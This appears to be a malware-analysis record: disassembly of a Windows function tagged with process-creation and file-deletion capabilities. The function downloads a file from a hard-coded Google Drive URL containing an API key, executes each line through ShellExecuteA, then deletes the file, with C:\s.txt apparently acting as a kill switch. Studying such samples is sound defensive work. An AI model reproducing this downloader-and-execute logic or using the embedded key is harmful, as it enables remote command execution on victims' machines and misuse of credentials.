Function at 0x403ddf
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x27c
mov dword [ebp - 0x244], sym.___gxx_personality_sj0
mov dword [ebp - 0x240], 0x48a890
lea eax, [ebp - 0x23c]
lea ebx, [ebp - 0x18]
mov dword [eax], ebx
mov edx, 0x40413f
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call dbg._Unwind_SjLj_Register
lea eax, [ebp - 0x220]
mov dword [esp + 4], 8
mov dword [esp], str.C:_s.txt
mov dword [ebp - 0x258], 0xffffffff
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
sub esp, 8
lea eax, [ebp - 0x220]
add eax, 0x70
mov dword [ebp - 0x258], 1
mov ecx, eax
call method.std::basic_ios_char__std::char_traits_char___.operator_void___const
test eax, eax
setne al
test al, al
je 0x403e8b
lea eax, [ebp - 0x220]
mov ecx, eax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
mov dword [ebp - 0x260], 0
jmp 0x40406f
lea eax, [ebp - 0x220]
mov dword [ebp - 0x258], 1
mov ecx, eax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
mov dword [esp], str.C:d.txt
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
lea eax, [ebp - 0x25]
mov ecx, eax
call fcn.0044f250
lea eax, [ebp - 0x2c]
lea edx, [ebp - 0x25]
mov dword [esp + 4], edx
mov dword [esp], str.C:d.txt
mov dword [ebp - 0x258], 2
mov ecx, eax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x1d]
mov ecx, eax
call fcn.0044f250
lea eax, [ebp - 0x24]
lea edx, [ebp - 0x1d]
mov dword [esp + 4], edx
mov dword [esp], str.https:__www.googleapis.com_drive_v3_files_1MEQyPYkEDgo7IES73CxtQuRvRo4LPs9g_altmediakeyAIzaSyD_QWLVRGx58NvbEhXEH5kknnFYpH20wmw
mov dword [ebp - 0x258], 3
mov ecx, eax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x2c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x24]
mov dword [esp], eax
mov dword [ebp - 0x258], 4
call sym.downloadFile_std::string__std::string_
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
mov ecx, eax
call fcn.0045b510
lea eax, [ebp - 0x1d]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x2c]
mov ecx, eax
call fcn.0045b510
lea eax, [ebp - 0x25]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x128]
mov dword [esp + 4], 8
mov dword [esp], str.C:d.txt
mov dword [ebp - 0x258], 1
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
sub esp, 8
lea eax, [ebp - 0x30]
mov dword [ebp - 0x258], 5
mov ecx, eax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x403ff4
lea eax, [ebp - 0x30]
mov ecx, eax
call method.std::string.length___const
cmp eax, 2
seta al
test al, al
je 0x403ff4
lea eax, [ebp - 0x30]
mov ecx, eax
call method.std::string.c_str___const
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_ShellExecuteA]
mov dword [ebp - 0x258], 6
call eax
sub esp, 0x18
lea eax, [ebp - 0x30]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x258], 6
call method.std::basic_istream_char__std::char_traits_char____std::getline_char__std::char_traits_char___std.allocator_char____std::basic_istream_char__std::char_traits_char_____std::basic_string_char__std::char_traits_char___std::allocator_char____
mov edx, dword [eax]
sub edx, 0xc
mov edx, dword [edx]
add eax, edx
mov ecx, eax
call method.std::basic_ios_char__std::char_traits_char___.operator_void___const
test eax, eax
setne al
test al, al
jne 0x403f97
lea eax, [ebp - 0x128]
mov ecx, eax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
mov dword [esp], str.C:d.txt
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
lea eax, [ebp - 0x30]
mov ecx, eax
call fcn.0045b510
lea eax, [ebp - 0x128]
mov ecx, eax
call fcn.0046d200
mov dword [ebp - 0x260], 1
lea eax, [ebp - 0x220]
mov ecx, eax
call fcn.0046d200
cmp dword [ebp - 0x260], 1
je 0x40408a
jmp 0x404191
nop
jmp 0x404191
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret